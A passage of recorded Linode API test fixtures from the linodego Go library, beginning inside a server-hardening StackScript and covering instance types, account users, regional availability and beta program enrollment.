localhost/\" /etc/monit/monitrc\n sed -i -e \"s/# allow localhost/allow localhost/\" /etc/monit/monitrc\n sed -i -e \"s/# set mail-format { from: monit@foo.bar }/set mail-format { from: monit@`hostname -f` }/\" /etc/monit/monitrc\n cat << EOT > /etc/monit/conf.d/system\n check system `hostname`\n if loadavg (1min) > 4 then alert\n if loadavg (5min) > 4 then alert\n if memory usage > 90% then alert\n if cpu usage (user) > 70% then alert\n if cpu usage (system) > 30% then alert\n if cpu usage (wait) > 20% then alert\n\ncheck filesystem rootfs with path /\nif space > 80% then alert\nEOT\n touch /tmp/restart-monit\n}\n\nfunction install_munin_node {\n # $1 - node hostname\n # $2 - munin server ip\n apt-get -y install munin-node\n sed -i -e \"s/^#host_name .*/host_name $1/\" /etc/munin/munin-node.conf\n sed -i -e \"s/^allow .*$/&\\nallow \\^$2\\$/ ; /^allow \\^\\d*/ s/[.]/\\\\\\&/g ; /^allow \\^\\d*/ s/\\\\\\\\\\\\\\/\\\\\\/g\" /etc/munin/munin-node.conf\n touch /tmp/restart-munin-node\n}\n\n# Security tools\nfunction install_security_tools {\n apt-get -y install unattended-upgrades chkrootkit rkhunter fail2ban ufw\n\n rkhunter --propupd\n}\n\nfunction set_conf_value {\n # $1 - conf file\n # $2 - key\n # $3 - value\n sed -i -e \"s/^\\($2[ ]*=[ ]*\\).*/\\1$3/\" $1\n}\n\nfunction configure_cronapt {\n CONF=/etc/cron-apt/config\n test -f $CONF || exit 0\n\n sed -i -e \"s/^# \\(MAILON=\\).*/\\1\\\"changes\\\"/\" $CONF\n}\n\nfunction configure_chkrootkit {\n CONF=/etc/chkrootkit.conf\n test -f $CONF || exit 0\n\n set_conf_value $CONF \"RUN_DAILY\" \"\\\"true\\\"\"\n set_conf_value $CONF \"RUN_DAILY_OPTS\" \"\\\"-q -e ''/usr/lib/jvm/.java-1.6.0-openjdk.jinfo /usr/lib/byobu/.constants /usr/lib/byobu/.dirs /usr/lib/byobu/.shutil /usr/lib/byobu/.notify_osd /usr/lib/byobu/.common /usr/lib/pymodules/python2.7/.path''\\\"\"\n}\n\nfunction configure_rkhunter {\n CONF=/etc/rkhunter.conf\n test -f $CONF || exit 0\n\n set_conf_value $CONF \"MAIL-ON-WARNING\" \"\\\"root\\\"\"\n sed -i -e \"/ALLOWHIDDENDIR=\\/dev\\/.udev$/ s/^#//\" $CONF\n # Disabling tests for kernel modules, Linode kernel doens''t have any modules loaded\n sed -i -e \"/^DISABLE_TESTS=.*/ s/\\\"$/ os_specific\\\"/\" $CONF\n}\n\nfunction configure_logcheck {\n # Ignore the message flood about UFW blocking TCP SYN and UDP packets\n UFW_SYN_BLOCK_REGEX=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ kernel: \\[UFW BLOCK\\] IN=[[:alnum:]]+ OUT= MAC=[:[:xdigit:]]+ SRC=[.[:digit:]]{7,15} DST=[.[:digit:]]{7,15} LEN=[[:digit:]]+ TOS=0x[[:xdigit:]]+ PREC=0x[[:xdigit:]]+ TTL=[[:digit:]]+ ID=[[:digit:]]+ (DF )?PROTO=TCP SPT=[[:digit:]]+ DPT=[[:digit:]]+ WINDOW=[[:digit:]]+ RES=0x[[:xdigit:]]+ SYN URGP=[[:digit:]]+$\"\n UFW_UDP_BLOCK_REGEX=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ kernel: \\[UFW BLOCK\\] IN=[[:alnum:]]+ OUT= MAC=[:[:xdigit:]]+ SRC=[.[:digit:]]{7,15} DST=[.[:digit:]]{7,15} LEN=[[:digit:]]+ TOS=0x[[:xdigit:]]+ PREC=0x[[:xdigit:]]+ TTL=[[:digit:]]+ ID=[[:digit:]]+ (DF )?PROTO=UDP SPT=[[:digit:]]+ DPT=[[:digit:]]+ LEN=[[:digit:]]+$\"\n echo \"# UFW BLOCK messages\" >> /etc/logcheck/ignore.d.server/local\n echo $UFW_SYN_BLOCK_REGEX >> /etc/logcheck/ignore.d.server/local\n echo $UFW_UDP_BLOCK_REGEX >> /etc/logcheck/ignore.d.server/local\n\n # Ignore dhcpcd messages\n DHCPCD_RENEWING=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\[[[:digit:]]+\\]: [[:alnum:]]+: renewing lease of [.[:digit:]]{7,15}$\"\n DHCPCD_LEASED=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\[[[:digit:]]+\\]: [[:alnum:]]+: leased [.[:digit:]]{7,15} for [[:digit:]]+ seconds$\"\n DHCPCD_ADDING_IP=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\[[[:digit:]]+\\]: [[:alnum:]]+: adding IP address [.[:digit:]]{7,15}/[[:digit:]]+$\"\n DHCPCD_ADDING_DEFAULT_ROUTE=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\[[[:digit:]]+\\]: [[:alnum:]]+: adding default route via [.[:digit:]]{7,15} metric [0-9]+$\"\n DHCPCD_INTERFACE_CONFIGURED=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\.sh: interface [[:alnum:]]+ has been configured with old IP=[.[:digit:]]{7,15}$\"\n # Ignore ntpd messages\n NTPD_VALIDATING_PEER=\"^\\w{3} [ :0-9]{11} [._[:alnum:]-]+ ntpd\\[[0-9]+\\]: peer [.[:digit:]]{7,15} now (in)?valid$\"\n echo \"# DHCPCD messages\" >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_RENEWING >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_LEASED >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_ADDING_IP >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_ADDING_DEFAULT_ROUTE >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_INTERFACE_CONFIGURED >> /etc/logcheck/ignore.d.server/local\n echo \"# NTPD messages\" >> /etc/logcheck/ignore.d.server/local\n echo $NTPD_VALIDATING_PEER >> /etc/logcheck/ignore.d.server/local\n}\n\nfunction configure_logwatch {\n CONF=/etc/logwatch/conf/logwatch.conf\n test -f $CONF || exit 0\n\n set_conf_value $CONF \"Output\" \"mail\"\n set_conf_value $CONF \"Format\" \"html\"\n set_conf_value $CONF \"Detail\" \"Med\"\n}\n\nfunction configure_ufw {\n # $1, $2, $3... - ports to allow\n ufw logging on\n ufw default deny\n\n while [ $# -gt 0 ]; do\n ufw allow $1\n shift\n done\n\n ufw enable\n}\n\n# Utility\nfunction restart_services {\n # restarts services that have a file in /tmp/needs-restart/\n for service in $(ls /tmp/restart-* | cut -d- -f2-10); do\n service $service restart\n rm -f /tmp/restart-$service\n done\n}\n\nfunction fix_page_allocation_error {\n sysctl vm.min_free_kbytes=16384\n cat << EOT > /etc/sysctl.conf\n\n###################################################################\n# Fix for page allocation failure\nvm.min_free_kbytes = 16384\nEOT\n touch /tmp/restart-rsyslog\n}", "user_defined_fields": []}], "page": 1, "pages": 22, "results": 2132}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - stackscripts:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "20" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleListTypes_all.yaml000066400000000000000000000245671455402072200315610ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/types method: GET response: body: '{"data": [{"id": "g6-nanode-1", "label": "Nanode 1GB", "price": {"hourly": 0.0075, "monthly": 5.0}, "addons": {"backups": {"price": {"hourly": 0.003, "monthly": 2.0}}}, "memory": 1024, "disk": 25600, "transfer": 1000, "vcpus": 1, "gpus": 0, "network_out": 1000, "class": "nanode", "successor": null}, {"id": "g6-standard-1", "label": "Linode 2GB", "price": {"hourly": 0.018, "monthly": 12.0}, "addons": {"backups": {"price": {"hourly": 0.004, "monthly": 2.5}}}, "memory": 2048, "disk": 51200, "transfer": 2000, "vcpus": 1, "gpus": 0, "network_out": 2000, "class": "standard", "successor": null}, {"id": "g6-standard-2", "label": "Linode 4GB", "price": {"hourly": 0.036, "monthly": 24.0}, "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "standard", "successor": null}, {"id": "g6-standard-4", "label": "Linode 8GB", "price": {"hourly": 0.072, "monthly": 48.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "standard", "successor": null}, {"id": "g6-standard-6", "label": "Linode 16GB", "price": {"hourly": 0.144, "monthly": 96.0}, "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}}}, "memory": 16384, "disk": 327680, "transfer": 8000, "vcpus": 6, "gpus": 0, "network_out": 6000, "class": "standard", "successor": null}, {"id": "g6-standard-8", "label": "Linode 32GB", "price": {"hourly": 0.288, "monthly": 192.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 0, "network_out": 7000, "class": "standard", "successor": null}, {"id": "g6-standard-16", "label": "Linode 64GB", "price": {"hourly": 0.576, "monthly": 384.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "standard", "successor": null}, {"id": "g6-standard-20", "label": "Linode 96GB", "price": {"hourly": 0.864, "monthly": 576.0}, "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 0, "network_out": 10000, "class": "standard", "successor": null}, {"id": "g6-standard-24", "label": "Linode 128GB", "price": {"hourly": 1.152, "monthly": 768.0}, "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 0, "network_out": 11000, "class": "standard", "successor": null}, {"id": "g6-standard-32", "label": "Linode 192GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}}}, "memory": 196608, "disk": 3932160, "transfer": 20000, "vcpus": 32, "gpus": 0, "network_out": 12000, "class": "standard", "successor": null}, {"id": "g7-highmem-1", "label": "Linode 24GB", "price": {"hourly": 0.09, "monthly": 60.0}, "addons": {"backups": {"price": {"hourly": 0.0075, "monthly": 5.0}}}, "memory": 24576, "disk": 20480, "transfer": 5000, "vcpus": 2, "gpus": 0, "network_out": 5000, "class": "highmem", "successor": null}, {"id": "g7-highmem-2", "label": "Linode 48GB", "price": {"hourly": 0.18, "monthly": 120.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 49152, "disk": 40960, "transfer": 6000, "vcpus": 2, "gpus": 0, "network_out": 6000, "class": "highmem", "successor": null}, {"id": "g7-highmem-4", "label": "Linode 90GB", "price": {"hourly": 0.36, "monthly": 240.0}, "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}}}, "memory": 92160, "disk": 92160, "transfer": 7000, "vcpus": 4, "gpus": 0, "network_out": 7000, "class": "highmem", "successor": null}, {"id": "g7-highmem-8", "label": "Linode 150GB", "price": {"hourly": 0.72, "monthly": 480.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 153600, "disk": 204800, "transfer": 8000, "vcpus": 8, "gpus": 0, "network_out": 8000, "class": "highmem", "successor": null}, {"id": "g7-highmem-16", "label": "Linode 300GB", "price": {"hourly": 1.44, "monthly": 960.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 307200, "disk": 348160, "transfer": 9000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "highmem", "successor": null}, {"id": "g6-dedicated-2", "label": "Dedicated 4GB", "price": {"hourly": 0.054, "monthly": 36.0}, "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-4", "label": "Dedicated 8GB", "price": {"hourly": 0.108, "monthly": 72.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-8", "label": "Dedicated 16GB", "price": {"hourly": 0.216, "monthly": 144.0}, "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}}}, "memory": 16384, "disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-16", "label": "Dedicated 32GB", "price": {"hourly": 0.432, "monthly": 288.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-32", "label": "Dedicated 64GB", "price": {"hourly": 0.864, "monthly": 576.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 65536, "disk": 1310720, "transfer": 8000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-48", "label": "Dedicated 96GB", "price": {"hourly": 1.296, "monthly": 864.0}, "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory": 98304, "disk": 1966080, "transfer": 9000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-50", "label": "Dedicated 128GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-56", "label": "Dedicated 256GB", "price": {"hourly": 3.456, "monthly": 2304.0}, "addons": {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}}}, "memory": 262144, "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-64", "label": "Dedicated 512GB", "price": {"hourly": 6.912, "monthly": 4608.0}, "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}}}, "memory": 524288, "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "dedicated", "successor": null}, {"id": "g1-gpu-rtx6000-1", "label": "Dedicated 32GB + RTX6000 GPU x1", "price": {"hourly": 1.5, "monthly": 1000.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 1, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-2", "label": "Dedicated 64GB + RTX6000 GPU x2", "price": {"hourly": 3.0, "monthly": 2000.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 2, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-3", "label": "Dedicated 96GB + RTX6000 GPU x3", "price": {"hourly": 4.5, "monthly": 3000.0}, "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 3, "network_out": 10000, "class": "gpu", "successor": null}, {"id": "g1-gpu-rtx6000-4", "label": "Dedicated 128GB + RTX6000 GPU x4", "price": {"hourly": 6.0, "monthly": 4000.0}, "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 4, "network_out": 10000, "class": "gpu", "successor": null}], "page": 1, "pages": 1, "results": 28}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleListUsers.yaml000066400000000000000000000034431455402072200307140ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users method: GET response: body: '{"data": [{"username": "lgarber-dev", "email": "lgarber@akamai.com", "restricted": false, "ssh_keys": ["tf_test_authorized_keys", "main", "tf_test_authorized_keys", "dev-server-rsa", "tf_test_authorized_keys"], "tfa_enabled": true, "verified_phone_number": null, "password_created": null}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "327" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestAccountAvailability_Get.yaml000066400000000000000000000030011455402072200330170ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/availability/us-east method: GET response: body: '{"region": "us-east", "unavailable": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "40" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1200" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestAccountAvailability_List.yaml000066400000000000000000000040011455402072200332140ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/availability method: GET response: body: '{"data": [{"region": "ap-west", "unavailable": []}, {"region": "ca-central", "unavailable": []}, {"region": "ap-southeast", "unavailable": []}, {"region": "us-central", "unavailable": []}, {"region": "us-west", "unavailable": []}, {"region": "us-southeast", "unavailable": []}, {"region": "us-east", "unavailable": []}, {"region": "eu-west", "unavailable": []}, {"region": "ap-south", "unavailable": []}, {"region": "eu-central", "unavailable": []}, {"region": "ap-northeast", "unavailable": []}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1200" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestAccountBetaPrograms.yaml000066400000000000000000000250761455402072200322140ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/betas?page=1 method: GET response: body: '{"data": [{"id": "vpc_beta", "label": "Virtual Private Cloud (VPC) Pre-Registration", "description": "VPC is coming to beta in select data centers soon! Virtual Private Cloud (VPC) solution. A VPC is an isolated network that enables cloud resources to privately communicate with each other and selectively gate access to the public internet or other private networks. VPC will be available at no additional cost both during the beta and when it enters general availability.\r\n\r\nPlease note: VPC is not currently available in beta testing. By signing up to participate in this beta when it becomes available, you consent to be subscribed to receive emails from Akamai cloud computing services marketing and be contacted via email when VPC is available.", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": false, "more_info": "https://www.linode.com/green-light/"}, {"id": "global_load_balancer_beta", "label": "Akamai Global Load Balancer Pre-Registration", "description": "The Akamai Global Load Balancer (AGLB) is a layer 4 and 7 load balancer that distributes traffic based on performance, weight, and content (HTTP headers, query strings, etc.). The AGLB is a multi-region, multicloud, independent of Akamai Delivery, and built for East-West and North-South traffic. Key features include multi-region load balancing and method selection. Beta for this product is coming soon\u2013 sign up to be contacted first when AGLB is available.\r\n\r\nPlease note: Akamai Global Load Balancer is not currently available in beta testing. By signing up to participate in this beta when it becomes available, you consent to be subscribed to receive emails from Akamai cloud computing services marketing and be contacted via email when the beta period begins.", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": false, "more_info": "https://www.linode.com/green-light/"}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"id":"vpc_beta"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/betas method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/betas method: GET response: body: '{"data": [{"id": "global_load_balancer_beta", "label": "Akamai Global Load Balancer Pre-Registration", "enrolled": "2018-01-02T03:04:05", "description": "The Akamai Global Load Balancer (AGLB) is a layer 4 and 7 load balancer that distributes traffic based on performance, weight, and content (HTTP headers, query strings, etc.). The AGLB is a multi-region, multicloud, independent of Akamai Delivery, and built for East-West and North-South traffic. Key features include multi-region load balancing and method selection. Beta for this product is coming soon\u2013 sign up to be contacted first when AGLB is available.\r\n\r\nPlease note: Akamai Global Load Balancer is not currently available in beta testing. By signing up to participate in this beta when it becomes available, you consent to be subscribed to receive emails from Akamai cloud computing services marketing and be contacted via email when the beta period begins.", "started": "2018-01-02T03:04:05", "ended": null}, {"id": "vpc_beta", "label": "Virtual Private Cloud (VPC) Pre-Registration", "enrolled": "2018-01-02T03:04:05", "description": "VPC is coming to beta in select data centers soon! Virtual Private Cloud (VPC) solution. A VPC is an isolated network that enables cloud resources to privately communicate with each other and selectively gate access to the public internet or other private networks. VPC will be available at no additional cost both during the beta and when it enters general availability.\r\n\r\nPlease note: VPC is not currently available in beta testing. By signing up to participate in this beta when it becomes available, you consent to be subscribed to receive emails from Akamai cloud computing services marketing and be contacted via email when VPC is available.", "started": "2018-01-02T03:04:05", "ended": null}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/betas/global_load_balancer_beta method: GET response: body: '{"id": "global_load_balancer_beta", "label": "Akamai Global Load Balancer Pre-Registration", "enrolled": "2018-01-02T03:04:05", "description": "The Akamai Global Load Balancer (AGLB) is a layer 4 and 7 load balancer that distributes traffic based on performance, weight, and content (HTTP headers, query strings, etc.). The AGLB is a multi-region, multicloud, independent of Akamai Delivery, and built for East-West and North-South traffic. Key features include multi-region load balancing and method selection. Beta for this product is coming soon\u2013 sign up to be contacted first when AGLB is available.\r\n\r\nPlease note: Akamai Global Load Balancer is not currently available in beta testing. By signing up to participate in this beta when it becomes available, you consent to be subscribed to receive emails from Akamai cloud computing services marketing and be contacted via email when the beta period begins.", "started": "2018-01-02T03:04:05", "ended": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "970" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only 